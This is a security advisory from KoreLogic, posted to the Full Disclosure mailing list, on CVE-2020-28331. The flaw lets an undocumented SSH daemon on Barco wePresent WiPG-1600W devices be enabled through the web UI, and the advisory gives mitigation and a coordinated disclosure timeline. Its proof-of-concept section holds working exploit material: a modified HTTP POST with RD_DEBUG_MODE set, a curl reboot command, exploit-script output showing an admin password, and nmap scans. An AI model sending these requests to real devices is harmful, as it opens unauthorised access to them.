lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 20 Nov 2020 14:33:26 -0600
From: KoreLogic Disclosures via Fulldisclosure <fulldisclosure@...lists.org>
To: fulldisclosure@...lists.org
Subject: [FD] KL-001-2020-007 : Barco wePresent Undocumented SSH Interface
 Accessible Via Web UI

KL-001-2020-007 : Barco wePresent Undocumented SSH Interface Accessible Via Web UI

Title: Barco wePresent Undocumented SSH Interface Accessible Via Web UI
Advisory ID: KL-001-2020-007
Publication Date: 2020.11.20
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-007.txt


1. Vulnerability Details

     Affected Vendor: Barco
     Affected Product: wePresent WiPG-1600W
     Affected Version: 2.5.1.8
     Platform: Embedded Linux
     CWE Classification: CWE-284: Improper Access Control
     CVE ID: CVE-2020-28331


2. Vulnerability Description

     The Barco wePresent device has an SSH daemon included in the
     firmware image. By default, the SSH daemon is disabled and does
     not start at system boot. The system initialization scripts read
     a device configuration file variable to see if the SSH daemon
     should be started. The web interface does not provide a visible
     capability to alter this configuration file variable. However,
     a malicious actor can include this variable in a POST such
     that the SSH daemon will be started when the device boots.


3. Technical Description

     The Barco wePresent web UI does not appear to have configuration
     options/settings for enabling the SSH service or configuring
     system-level accounts on the device.  The device does
     not have a SSH daemon listening by default. In looking at
     the unpacked firmware, there is an SSH daemon init script
     (/etc/init.d/S41ssh). The init script starts the SSH daemon
     only if a specific value from the device's configuration is
     set to "1". Excerpts from the init script:

     mode=$(/mnt/AwGetCfg get RD_DEBUG_MODE)

     runprocess() {
         if [ "$mode" = "1" ]; then
             echo "dropbear running" /usr/bin/dropbear
         fi
     }

     The AwGetCfg binry reads the /etc/content/AwDefault.xml file,
     and there is a RD_DEBUG_MODE value set in that file. By default
     RD_DEBUG_MODE is set to "0" in the firmware.

     While the web pages in the web UI do not have apparent ways
     to enable SSH, other configuration settings that appear in
     the /etc/content/AwDefault.xml file can be modified by the web
     UI. So, a configuration change originating from the UI can be
     intercepted and modified to set RD_DEBUG_MODE to 1.

     Many (all?) configuration changes to the device require a reboot
     to take effect. So, another POST has to be sent, using the
     "SEID" to reboot the device. After the device comes back up,
     the SSH service is indeed running and accepting connections.

     The root user is the only system level user that is present
     in the firmware by default. A hash for the root account is
     present in the /etc/shadow file, but has been resistant to
     being cracked thus far.


4. Mitigation and Remediation Recommendation

     The vendor has released an updated firmware (2.5.3.12) which
     remediates the described vulnerability. Firmware and release
     notes are available at:

     https://www.barco.com/en/support/software/R33050104


5. Credit

     This vulnerability was discovered by Jim Becher (@jimbecher) of
     KoreLogic, Inc.


6. Disclosure Timeline

     2020.08.24 - KoreLogic submits vulnerability details to
                  Barco.
     2020.08.25 - Barco acknowledges receipt and the intention
                  to investigate.
     2020.09.21 - Barco notifies KoreLogic that this issue,
                  along with several others reported by KoreLogic,
                  will require more than the standard 45 business
                  day remediation timeline. Barco requests to delay
                  coordinated disclosure until 2020.12.11.
     2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure.
     2020.09.25 - Barco informs KoreLogic of their intent to acquire
                  CVE number for this vulnerability.
     2020.11.09 - Barco shares CVE number with KoreLogic and announces
                  their intention to release the updated firmware
                  ahead of schedule, on 2020.11.11. Request that KoreLogic
                  delay public disclosure until 2020.11.20.
     2020.11.11 - Barco firmware release.
     2020.11.20 - KoreLogic public disclosure.


7. Proof of Concept

     $ nmap 192.168.2.200
     
     Nmap scan report for 192.168.2.200
     Host is up (0.0035s latency).
     Not shown: 988 closed ports
     PORT     STATE SERVICE
     80/tcp   open  http
     389/tcp  open  ldap
     443/tcp  open  https
     515/tcp  open  printer
     1688/tcp open  nsjtp-data
     3268/tcp open  globalcatLDAP
     4001/tcp open  newoak
     5566/tcp open  westec-connect
     6000/tcp open  X11
     7000/tcp open  afs3-fileserver
     7100/tcp open  font-service
     8080/tcp open  http-proxy
     
     Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
     
     To enable SSH service, authenticate to the wePresent
     device and click apply (does not even have to be
     an actual configuration change). In the POST add
     "<name>RD_DEBUG_MODE</name><value>1</value>"

     POST /cgi-bin/return.cgi HTTP/1.1
     Host: 192.168.2.200
     User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
     Accept: */*
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate
     Content-Type: application/x-www-form-urlencoded
     Cache-Control: no-cache
     Content-Length: 520
     Origin: https://192.168.2.200
     Connection: close
     Referer: https://192.168.2.200/cgi-bin/web_index.cgi?lang=en&src=AwDevice.html&rjviSfqdmPuWrZ7z
     
    
command=<Send><seid>rjviSfqdmPuWrZ7z</seid><name>WL_PAIRING_ONOFF</name><value>0</value><name>NTP_SYNC</name><value>1</value><name>NTP_SERVER_IP</name><value></value><name>TIME_ZONE</name><value>GMT-8_CH</value><name>PREF_LOGINCODE</name><value>2</value><name>VIDEO_OUT</name><value>4</value><name>VIDEO_RES</name><value>7</value><name>PREF_UNIVERSAL_LOGINCODE</name><value>2113</value><name>ENABLE_DST</name><value>1</value><name>IOS_AIRPLAY_ONOFF</name><value>1</value><name>RD_DEBUG_MODE</name><value>1</value></Send>
     
     And then issue a reboot to the device:
     $ curl -k -X POST https://192.168.2.200/cgi-bin/return.cgi -d
'command=<Send><seid>rjviSfqdmPuWrZ7z</seid><Factory>reboot</Factory></Send>'
     <return><Factory>RebootOK</Factory></return>
     
     The above steps can be captured in a Python script
     (a different SEID was generated by the device):

     user@...hine:~/wepresent$ ./WePwn.py -h 192.168.2.200
     [+] Admin password is:  W3Pr3s3nt
     [+] SEID is:  PqhXbb4jQ2g8T4ss
     [+] Enabling SSH Daemon
     [+] Rebooting device
     [+] Waiting for 60 seconds while device reboots
     10...20...30...40...50...60
     
     
     After the device reboots, the SSH daemon is now running and
     listening on port 22/tcp.
     
     $ nmap 192.168.2.200
     
     Nmap scan report for 192.168.2.200
     Host is up (0.0037s latency).
     Not shown: 987 closed ports
     PORT     STATE SERVICE
     22/tcp   open  ssh
     80/tcp   open  http
     389/tcp  open  ldap
     443/tcp  open  https
     515/tcp  open  printer
     1688/tcp open  nsjtp-data
     3268/tcp open  globalcatLDAP
     4001/tcp open  newoak
     5566/tcp open  westec-connect
     6000/tcp open  X11
     7000/tcp open  afs3-fileserver
     7100/tcp open  font-service
     8080/tcp open  http-proxy
     
     Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

The contents of this advisory are copyright(c) 2020
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ